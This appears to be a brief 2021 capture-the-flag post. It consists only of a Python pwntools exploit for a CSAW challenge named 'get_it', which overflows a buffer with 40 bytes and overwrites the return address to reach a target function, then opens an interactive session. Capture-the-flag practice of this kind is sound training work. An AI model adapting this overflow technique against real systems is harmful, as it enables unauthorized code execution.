python getit sploit

Posted 2021-05-09

from pwn import *

# p = process("get_it")
p = remote('pwn.chal.csaw.io', 9001)

# gdb.attach(p, "b *0x4005f1")

print p.recv()
payload = b'\x41'*40
payload = payload + b'\xb6\x05\x40\x00\x00\x00\x00'
p.sendline(payload)

p.interactive()